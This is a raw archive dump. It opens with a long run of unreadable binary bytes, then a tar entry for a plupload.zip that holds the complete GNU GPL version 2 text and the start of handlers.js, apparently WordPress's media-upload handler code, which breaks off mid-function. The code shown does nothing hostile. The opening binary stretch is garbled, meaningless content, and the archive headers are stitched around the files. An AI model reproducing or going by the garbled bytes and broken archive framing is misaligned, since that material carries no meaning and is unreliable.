<����/DZ��	D�`8�Z�i�.�%�j���ȁ8��rȘ�p������wG��=�-TR���B��o�oL�ͻ�V���G�;��~;�_�&~gS̉���ؖnb'�Vz[��-��5�&/;�Ƥd�-!ir�o�G��<����҄6��K;��ԇl:�)��zt�θ��}��LG�a��k�j�����R~�[W~�>4�sM6L�PM�x��܁]�Cb���0�b�פ�9l����L�(3����奣4�|.05_�5‡c�)U.�E��n�wB���c"e����g��9�腿��p6}E�Y*5��>T��>a����㹆st�#"VVJ��,��^NSzH�,�x
���rR�Q
�e�ޜ�w0�����/���7⼮�ׇ�c��=1���L���a���d�Ⴧ_=�7�}����W"��Z�yɩQ���1.a!�Uo�z?/��m^,+sF/x˩6��Q2~s*f��ϭ�����+�ӔR�{b�!�n��`P�1����f��"���m$Z,T� �(“�b�>ޥE���nWx��M���pR_a֛�	�]�4fs�Y��}�Q�9MF�t�n��b���;$�]�A$���9U D�����/`���?�5/+�g�U�2e��U���xĊ/��?�lp6P��l�w̻̼)T�i6�F\7H+ֱB
��M!�Y���5$��A�GJͮ��yլ����d��5`�=�
�,B���׳�?��6�!@�u�/5R_��E4�~,Η�d~�̀HЗ�M���/VtZes �7��@��M�W�)�S�Y��.N,#_�U9��&Pu���i��(��H�"�[^�g0)��{�݁��sC�!I�*��eV��9?!�.+��fU��ucf�QU��5e)�5쳹�v(�A!6��'⭕h���U�6˚�k����C���b%���\��^o'q�2���
K�k� �� �$}��)���ZF�P���e��w��1-a�f8f��Vm���i�Kb��<s���i^�
�ipU�e����b��1�I����R��/|9���
�ZgQR��,:�K�o�����_�����eU)j	$fX@���x
|w�a�${�5��4w�8���]u��z�b���ݕRX�N5C�&�N�x�B�iھ^1Kz��=Y�Oct�-�|SKR�sH����J���ʏ�n�\�Ґ�j|��*���5U(u��zj�UZ�}3�_�@�$Ƅ�O�?�o�̨��*�DN��H��R7�;��B%Y�Foi};*�/-lIl�	64��o��VEc�RF%ԶV�W'�GW�2��y�^]j�F,�����BX�Xx�>�w�o���w n�L���P}S�s��&��y�_��$�y��\}��`�m�\�=���R�	)Z�F~i�J��K�N/�%Kڞ�-�	��eơ�i|����\��y~/�{��{��Y-��le����4��K��3f�-h���GC}h�3R�	Y�y=#��z�+���ޗ֓F��)4��UK(2-UYĺ�G����n�R{r�;S<�6�R+M�G��lPkR��$Xv�[�—B�6�9��c�;�U�-]��bN�1�N4Mڝ(�0��G�^�
�np<;�0��;�v��z6We`6 N>����M�͉�B9540S�o��(��A�b/���(Z�*�:�呆��0�r�g։:�T���g��1g�p#bʯ��f-�=�\o^z�͉R��_���geE��0���,��p���~x������>�[�P� ��g"��1�q��t[���2��j��H�)ex3	��������w=q8MIu;P��9�f�&�͐��k:\{�5�Y�e!�MS�8�'�U"81��W�S�IB�.���|�����K�����?���.ؖ0�	�,����Ѵ/�z�a�6P��\ϳ�8���?U��T]���~FB3/��t�*�%�s=��6��I����
���!-��8!��C�=6�Vw��K��V����s�n?%_�kD�������Y%x��pU.��y��{}�e�rԍ&�a�ε�Q��ۚࣾ��7^�W+��e�CX����K�}_��H���+6]��E\[��g���7��Wwd������fH����*yg���GzrZ���ˑ��LeeI��{�7S-��=U�rœ1KT�'BL]Y)[9�At'���*�@��/'�q[u)�~Ջ��=2~>t����
v)�c1���`�d��u:�`E-S#�1d�
2�Aˑ׭��JŖ���8q%���y��^����:7�)s�B�+���U�UY?�ꫛ��>�g!e`L'�w������ɭ�>�#�D��v������ԕ~M�=u^�x�OΫ
�ﻸA#��$fJ�[�A�nR�qK�x�X�<I���օϯ���@L�L��*�/�4���)�Lw
mdǬ�Ě�k[=�c���[>�(��1�17�ҒLX�n�S�
_��0{f�Ļ�����i�>r[x�J�9k�o��ѯ��Aćǃ��;�=r!���R��U���J_��x�1N�K�幟f���,���(�gDZ�o�HI<d��
zy	���"M6=*���̤���`�Z��ʞL܁��=7S�5I8W���^�p����@
2�� XTm4���-}�db��7"�(]�i����!
��>��_	���(.�&[�oVH�q|�y���_�͊�ٍ8���M�2L�Ș�/�-����/��[�H*��V>F|R���ebL�u/~`�A4�7��T��a�}���4�"IHvo�J�pC}iM��S�[�|n%�o��̒���۾�^�M����s3��O�۶��
�Xѫ���).���8]	G��+ʳ����PPb�yR{�:�F�2��N�q������N���"D��Ro�L��!�M�sd��O���~@JR}6q}��&̡(�ٟ@pP+Tf)�!�%"}�e���)ٳ�O�V�i?i���S���f�Ɵ�~�|���X��dX��նy-�Պ����ƺ�SnǕ��e�z~X�jGl�ʒ=���*X�
�0�X�0�l�C��?��򓙴*��D�|���6�S��rm�N����ӻ��o����x����!�겮���b�x^���?8e���q?�X�Z��WR,���w��oQ�XS�*�&a^���v��g*c�|����^�d�J^�2稹e	e�T��E*��2�=�)�؉���tF�Xcq�s��SNy�Z�tLǺ�7Nn�LZ�[kԧf~�PB�j
7�@�&Tӊ%��<�����Pcc�P�ڽ��`͗ߟ�S�o�jx�
Io�`Ͳ�6]P��I���?O�w������L]�Z?�=*eX�8������[t�̞N��<X���P��|k��2�tqgTf��'D���ʹ�?�i�YpK�F�>��b�
���At��԰����ɻb^�����F����C<A�W�U��s�gC��S��y�E	�K�.����I=�d���h�<�')<J�S4��$Jɠ��.lT��^��u/�p�7��c��3��O4v��@ε�
.����q]����Z�xu�ڌ ,K�/{�V��elwZ�kE]���\��nC3��?�n�����/��9��14338/plupload.zip000064400001700756151024420100007577 0ustar00PKYd[\eCFCFlicense.txtnu�[���		    GNU GENERAL PUBLIC LICENSE
		       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

			    Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

		    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

			    NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

		     END OF TERMS AND CONDITIONS

	    How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.

    <one line to give the program's name and a brief idea of what it does.>
    Copyright (C) <year>  <name of author>

    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License along
    with this program; if not, write to the Free Software Foundation, Inc.,
    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

    Gnomovision version 69, Copyright (C) year name of author
    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
    This is free software, and you are welcome to redistribute it
    under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Lesser General
Public License instead of this License.
PKYd[�
d��O�Ohandlers.jsnu�[���/* global plupload, pluploadL10n, ajaxurl, post_id, wpUploaderInit, deleteUserSetting, setUserSetting, getUserSetting, shortform */
var topWin = window.dialogArguments || opener || parent || top, uploader, uploader_init;

// Progress and success handlers for media multi uploads.
function fileQueued( fileObj ) {
	// Get rid of unused form.
	jQuery( '.media-blank' ).remove();

	var items = jQuery( '#media-items' ).children(), postid = post_id || 0;

	// Collapse a single item.
	if ( items.length == 1 ) {
		items.removeClass( 'open' ).find( '.slidetoggle' ).slideUp( 200 );
	}
	// Create a progress bar containing the filename.
	jQuery( '<div class="media-item">' )
		.attr( 'id', 'media-item-' + fileObj.id )
		.addClass( 'child-of-' + postid )
		.append( jQuery( '<div class="filename original">' ).text( ' ' + fileObj.name ),
			'<div class="progress"><div class="percent">0%</div><div class="bar"></div></div>' )
		.appendTo( jQuery( '#media-items' ) );

	// Disable submit.
	jQuery( '#insert-gallery' ).prop( 'disabled', true );
}

function uploadStart() {
	try {
		if ( typeof topWin.tb_remove != 'undefined' )
			topWin.jQuery( '#TB_overlay' ).unbind( 'click', topWin.tb_remove );
	} catch( e ){}

	return true;
}

function uploadProgress( up, file ) {
	var item = jQuery( '#media-item-' + file.id );

	jQuery( '.bar', item ).width( ( 200 * file.loaded ) / file.size );
	jQuery( '.percent', item ).html( file.percent + '%' );
}

// Check to see if a large file failed to upload.
function fileUploading( up, file ) {
	var hundredmb = 100 * 1024 * 1024,
		max = parseInt( up.settings.max_file_size, 10 );

	if ( max > hundredmb && file.size > hundredmb ) {
		setTimeout( function() {
			if ( file.status < 3 && file.loaded === 0 ) { // Not uploading.
				wpFileError( file, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) );
				up.stop();  // Stop the whole queue.
				up.removeFile( file );
				up.start(); // Restart the queue.
			}
		}, 10000 ); // Wait for 10 seconds for the file to start uploading.
	}
}

function updateMediaForm() {
	var items = jQuery( '#media-items' ).children();

	// Just one file, no need for collapsible part.
	if ( items.length == 1 ) {
		items.addClass( 'open' ).find( '.slidetoggle' ).show();
		jQuery( '.insert-gallery' ).hide();
	} else if ( items.length > 1 ) {
		items.removeClass( 'open' );
		// Only show Gallery/Playlist buttons when there are at least two files.
		jQuery( '.insert-gallery' ).show();
	}

	// Only show Save buttons when there is at least one file.
	if ( items.not( '.media-blank' ).length > 0 )
		jQuery( '.savebutton' ).show();
	else
		jQuery( '.savebutton' ).hide();
}

function uploadSuccess( fileObj, serverData ) {
	var item = jQuery( '#media-item-' + fileObj.id );

	// On success serverData should be numeric,
	// fix bug in html4 runtime returning the serverData wrapped in a <pre> tag.
	if ( typeof serverData === 'string' ) {
		serverData = serverData.replace( /^<pre>(\d+)<\/pre>$/, '$1' );

		// If async-upload returned an error message, place it in the media item div and return.
		if ( /media-upload-error|error-div/.test( serverData ) ) {
			item.html( serverData );
			return;
		}
	}

	item.find( '.percent' ).html( pluploadL10n.crunching );

	prepareMediaItem( fileObj, serverData );
	updateMediaForm();

	// Increment the counter.
	if ( post_id && item.hasClass( 'child-of-' + post_id ) ) {
		jQuery( '#attachments-count' ).text( 1 * jQuery( '#attachments-count' ).text() + 1 );
	}
}

function setResize( arg ) {
	if ( arg ) {
		if ( window.resize_width && window.resize_height ) {
			uploader.settings.resize = {
				enabled: true,
				width: window.resize_width,
				height: window.resize_height,
				quality: 100
			};
		} else {
			uploader.settings.multipart_params.image_resize = true;
		}
	} else {
		delete( uploader.settings.multipart_params.image_resize );
	}
}

function prepareMediaItem( fileObj, serverData ) {
	var f = ( typeof shortform == 'undefined' ) ? 1 : 2, item = jQuery( '#media-item-' + fileObj.id );
	if ( f == 2 && shortform > 2 )
		f = shortform;

	try {
		if ( typeof topWin.tb_remove != 'undefined' )
			topWin.jQuery( '#TB_overlay' ).click( topWin.tb_remove );
	} catch( e ){}

	if ( isNaN( serverData ) || !serverData ) {
		// Old style: Append the HTML returned by the server -- thumbnail and form inputs.
		item.append( serverData );
		prepareMediaItemInit( fileObj );
	} else {
		// New style: server data is just the attachment ID, fetch the thumbnail and form html from the server.
		item.load( 'async-upload.php', {attachment_id:serverData, fetch:f}, function(){prepareMediaItemInit( fileObj );updateMediaForm();});
	}
}

function prepareMediaItemInit( fileObj ) {
	var item = jQuery( '#media-item-' + fileObj.id );
	// Clone the thumbnail as a "pinkynail" -- a tiny image to the left of the filename.
	jQuery( '.thumbnail', item ).clone().attr( 'class', 'pinkynail toggle' ).prependTo( item );

	// Replace the original filename with the new (unique) one assigned during upload.
	jQuery( '.filename.original', item ).replaceWith( jQuery( '.filename.new', item ) );

	// Bind Ajax to the new Delete button.
	jQuery( 'a.delete', item ).on( 'click', function(){
		// Tell the server to delete it. TODO: Handle exceptions.
		jQuery.ajax({
			url: ajaxurl,
			type: 'post',
			success: deleteSuccess,
			error: deleteError,
			id: fileObj.id,
			data: {
				id : this.id.replace(/[^0-9]/g, '' ),
				action : 'trash-post',
				_ajax_nonce : this.href.replace(/^.*wpnonce=/,'' )
			}
		});
		return false;
	});

	// Bind Ajax to the new Undo button.
	jQuery( 'a.undo', item ).on( 'click', function(){
		// Tell the server to untrash it. TODO: Handle exceptions.
		jQuery.ajax({
			url: ajaxurl,
			type: 'post',
			id: fileObj.id,
			data: {
				id : this.id.replace(/[^0-9]/g,'' ),
				action: 'untrash-post',
				_ajax_nonce: this.href.replace(/^.*wpnonce=/,'' )
			},
			success: function( ){
				var type,
					item = jQuery( '#media-item-' + fileObj.id );

				if ( type = jQuery( '#type-of-' + fileObj.id ).val() )
					jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text()-0+1 );

				if ( post_id && item.hasClass( 'child-of-'+post_id ) )
					jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text()-0+1 );

				jQuery( '.filename .trashnotice', item ).remove();
				jQuery( '.filename .title', item ).css( 'font-weight','normal' );
				jQuery( 'a.undo', item ).addClass( 'hidden' );
				jQuery( '.menu_order_input', item ).show();
				item.css( {backgroundColor:'#ceb'} ).animate( {backgroundColor: '#fff'}, { queue: false, duration: 500, complete: function(){ jQuery( this ).css({backgroundColor:''}); } }).removeClass( 'undo' );
			}
		});
		return false;
	});

	// Open this item if it says to start open (e.g. to display an error).
	jQuery( '#media-item-' + fileObj.id + '.startopen' ).removeClass( 'startopen' ).addClass( 'open' ).find( 'slidetoggle' ).fadeIn();
}

// Generic error message.
function wpQueueError( message ) {
	jQuery( '#media-upload-error' ).show().html( '<div class="notice notice-error"><p>' + message + '</p></div>' );
}

// File-specific error messages.
function wpFileError( fileObj, message ) {
	itemAjaxError( fileObj.id, message );
}

function itemAjaxError( id, message ) {
	var item = jQuery( '#media-item-' + id ), filename = item.find( '.filename' ).text(), last_err = item.data( 'last-err' );

	if ( last_err == id ) // Prevent firing an error for the same file twice.
		return;

	item.html( '<div class="error-div">' +
				'<a class="dismiss" href="#">' + pluploadL10n.dismiss + '</a>' +
				'<strong>' + pluploadL10n.error_uploading.replace( '%s', jQuery.trim( filename )) + '</strong> ' +
				message +
				'</div>' ).data( 'last-err', id );
}

function deleteSuccess( data ) {
	var type, id, item;
	if ( data == '-1' )
		return itemAjaxError( this.id, 'You do not have permission. Has your session expired?' );

	if ( data == '0' )
		return itemAjaxError( this.id, 'Could not be deleted. Has it been deleted already?' );

	id = this.id;
	item = jQuery( '#media-item-' + id );

	// Decrement the counters.
	if ( type = jQuery( '#type-of-' + id ).val() )
		jQuery( '#' + type + '-counter' ).text( jQuery( '#' + type + '-counter' ).text() - 1 );

	if ( post_id && item.hasClass( 'child-of-'+post_id ) )
		jQuery( '#attachments-count' ).text( jQuery( '#attachments-count' ).text() - 1 );

	if ( jQuery( 'form.type-form #media-items' ).children().length == 1 && jQuery( '.hidden', '#media-items' ).length > 0 ) {
		jQuery( '.toggle' ).toggle();
		jQuery( '.slidetoggle' ).slideUp( 200 ).siblings().removeClass( 'hidden' );
	}

	// Vanish it.
	jQuery( '.toggle', item ).toggle();
	jQuery( '.slidetoggle', item ).slideUp( 200 ).siblings().removeClass( 'hidden' );
	item.css( {backgroundColor:'#faa'} ).animate( {backgroundColor:'#f4f4f4'}, {queue:false, duration:500} ).addClass( 'undo' );

	jQuery( '.filename:empty', item ).remove();
	jQuery( '.filename .title', item ).css( 'font-weight','bold' );
	jQuery( '.filename', item ).append( '<span class="trashnotice"> ' + pluploadL10n.deleted + ' </span>' ).siblings( 'a.toggle' ).hide();
	jQuery( '.filename', item ).append( jQuery( 'a.undo', item ).removeClass( 'hidden' ) );
	jQuery( '.menu_order_input', item ).hide();

	return;
}

function deleteError() {
}

function uploadComplete() {
	jQuery( '#insert-gallery' ).prop( 'disabled', false );
}

function switchUploader( s ) {
	if ( s ) {
		deleteUserSetting( 'uploader' );
		jQuery( '.media-upload-form' ).removeClass( 'html-uploader' );

		if ( typeof( uploader ) == 'object' )
			uploader.refresh();
	} else {
		setUserSetting( 'uploader', '1' ); // 1 == html uploader.
		jQuery( '.media-upload-form' ).addClass( 'html-uploader' );
	}
}

function uploadError( fileObj, errorCode, message, up ) {
	var hundredmb = 100 * 1024 * 1024, max;

	switch ( errorCode ) {
		case plupload.FAILED:
			wpFileError( fileObj, pluploadL10n.upload_failed );
			break;
		case plupload.FILE_EXTENSION_ERROR:
			wpFileExtensionError( up, fileObj, pluploadL10n.invalid_filetype );
			break;
		case plupload.FILE_SIZE_ERROR:
			uploadSizeError( up, fileObj );
			break;
		case plupload.IMAGE_FORMAT_ERROR:
			wpFileError( fileObj, pluploadL10n.not_an_image );
			break;
		case plupload.IMAGE_MEMORY_ERROR:
			wpFileError( fileObj, pluploadL10n.image_memory_exceeded );
			break;
		case plupload.IMAGE_DIMENSIONS_ERROR:
			wpFileError( fileObj, pluploadL10n.image_dimensions_exceeded );
			break;
		case plupload.GENERIC_ERROR:
			wpQueueError( pluploadL10n.upload_failed );
			break;
		case plupload.IO_ERROR:
			max = parseInt( up.settings.filters.max_file_size, 10 );

			if ( max > hundredmb && fileObj.size > hundredmb ) {
				wpFileError( fileObj, pluploadL10n.big_upload_failed.replace( '%1$s', '<a class="uploader-html" href="#">' ).replace( '%2$s', '</a>' ) );
			} else {
				wpQueueError( pluploadL10n.io_error );
			}

			break;
		case plupload.HTTP_ERROR:
			wpQueueError( pluploadL10n.http_error );
			break;
		case plupload.INIT_ERROR:
			jQuery( '.media-upload-form' ).addClass( 'html-uploader' );
			break;
		case plupload.SECURITY_ERROR:
			wpQueueError( pluploadL10n.security_error );
			break;
/*		case plupload.UPLOAD_ERROR.UPLOAD_STOPPED:
		case plupload.UPLOAD_ERROR.FILE_CANCELLED:
			jQuery( '#media-item-' + fileObj.id ).remove();
			break;*/
		default:
			wpFileError( fileObj, pluploadL10n.default_error );
	}
}

function uploadSizeError( up, file ) {
	var message, errorDiv;

	message = pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name );

	// Construct the error div.
	errorDiv = jQuery( '<div />' )
		.attr( {
			'id':    'media-item-' + file.id,
			'class': 'media-item error'
		} )
		.append(
			jQuery( '<p />' )
				.text( message )
		);

	// Append the error.
	jQuery( '#media-items' ).append( errorDiv );
	up.removeFile( file );
}

function wpFileExtensionError( up, file, message ) {
	jQuery( '#media-items' ).append( '<div id="media-item-' + file.id + '" class="media-item error"><p>' + message + '</p></div>' );
	up.removeFile( file );
}

/**
 * Copies the attachment URL to the clipboard.
 *
 * @since 5.8.0
 *
 * @param {MouseEvent} event A click event.
 *
 * @return {void}
 */
function copyAttachmentUploadURLClipboard() {
	var clipboard = new ClipboardJS( '.copy-attachment-url' ),
		successTimeout;

	clipboard.on( 'success', function( event ) {
		var triggerElement = jQuery( event.trigger ),
			successElement = jQuery( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );

		// Clear the selection and move focus back to the trigger.
		event.clearSelection();
		// Show success visual feedback.
		clearTimeout( successTimeout );
		successElement.removeClass( 'hidden' );
		// Hide success visual feedback after 3 seconds since last success.
		successTimeout = setTimeout( function() {
			successElement.addClass( 'hidden' );
		}, 3000 );
		// Handle success audible feedback.
		wp.a11y.speak( pluploadL10n.file_url_copied );
	} );
}

jQuery( document ).ready( function( $ ) {
	copyAttachmentUploadURLClipboard();
	var tryAgainCount = {};
	var tryAgain;

	$( '.media-upload-form' ).on( 'click.uploader', function( e ) {
		var target = $( e.target ), tr, c;

		if ( target.is( 'input[type="radio"]' ) ) { // Remember the last used image size and alignment.
			tr = target.closest( 'tr' );

			if ( tr.hasClass( 'align' ) )
				setUserSetting( 'align', target.val() );
			else if ( tr.hasClass( 'image-size' ) )
				setUserSetting( 'imgsize', target.val() );

